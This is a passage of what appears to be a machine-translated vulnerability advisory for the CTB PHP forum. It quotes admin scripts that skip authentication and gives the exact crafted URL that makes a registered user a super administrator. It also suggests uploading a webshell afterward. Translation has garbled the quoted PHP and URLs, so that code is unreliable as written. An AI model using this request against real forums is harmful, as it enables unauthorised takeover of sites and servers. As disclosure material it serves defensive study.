Pretty but insecure CTB

DedicatedThisScrapToCaoJing version: ^ all current versions (1.3Alpha is the highest version) description: ^ CTB is a real easy digital 11cn.org; open source code PHP forum for development and maintenance. Due to defects in the background management file verification, illegal users may directly add Forum Super administrators, which in turn threatens the forum or server
>>> Dedicated This Scrap To CaoJing <

Involved versions:
^
All current versions (1.3Alpha is now the highest version)

Description:
^
CTB is an open source code PHP Forum developed and maintained by <11cn.org>. Due to defects in the background management file verification, illegal users may directly add Forum Super administrators to threaten the security of forums or servers.

Details:
^
CTB's writing is very standard, code is orderly, pleasing to the eye, and indeed a beautiful program; especially its functional modules, it really let the younger brother learn. But security is worrying:

Compile the following code:

/Admin/main. php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
// Get variable
If (is_array ($ _ GET )){
Foreach ($ _ GET as $ k => $ v ){
If (is_array ($ _ GET [$ k]) {
Foreach ($ _ GET [$ k] as $ k2 => $ v2 ){
$ Return [$ k] [$ k2] = $ v2;
}
} Else {
$ Return [$ k] = $ v;
}
}
}
...
$ Mod = isset ($ _ GET ['mod'])? $ _ GET ['mod']: $ _ POST ['mod'];
If (! File_exists ($ mod. ". php "{
$ Mod = "mainright ";
}
Require_once ($ mod. ". php ";
//-----------------------------------------------------------------------------

// Initialize class variables
$ Ctb = new Module;
$ Ctb-> set = $ set;
$ Ctb-> tplPath = "./templates ";
$ Ctb-> input = $ return;
$ Ctb-> sess = isset ($ _ COOKIE ["sess_adminname"])? $ _ COOKIE: $ _ SESSION;
$ Ctb-> execute ();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~

There is no verification here. let's take a look at the file for adding an administrator:

/Admin/systemuser. php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
Class Module extends CommonClass
// System Management module subclass
{
Function execute (){
Switch ($ this-> input ['action']) {
...
Case 'addsystemuser ':
$ This-> addSystemUser ();
Break;
...
}
}

Function addSystemUser ()
{
// Simple format of input data
$ This-> inputCheck ("main. php? Mod = systemuser & action = showSystemUser ";
// Perform the ADD operation
$ This-> file = ".../". $ this-> set [dataPath]. "/users/list. php ";
$ SystemLine = $ this-> select (4, $ this-> input ['systemusername']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~

Still not verified, all the way!

Usage:
^
Register a user first:

Login ID: cat
User Name: dog
Password: ilikecat
Repeated password: ilikecat
Mailbox: cat@dog.com

Then, submit the following URL:

Http://www.target.com/ctb/admin/main.php? Mod = systemuser & systemUserName = dog & systemUserMode = 1 & action = addSystemUser

Haha, you are a super administrator now. don't believe it? Submit the following URL for background login:

Http://www.psych.com/ctb/admin/main.php? Mod = login

Management name: cat
Manage password: ilikecat

Success... it's a success!

Do you want to change the background upload file type and then upload webshell? Hum, I guess so...

Postscript: In addition, I found that the CTB code comments were a bit eye-catching and incorrect. I hope it can be corrected together.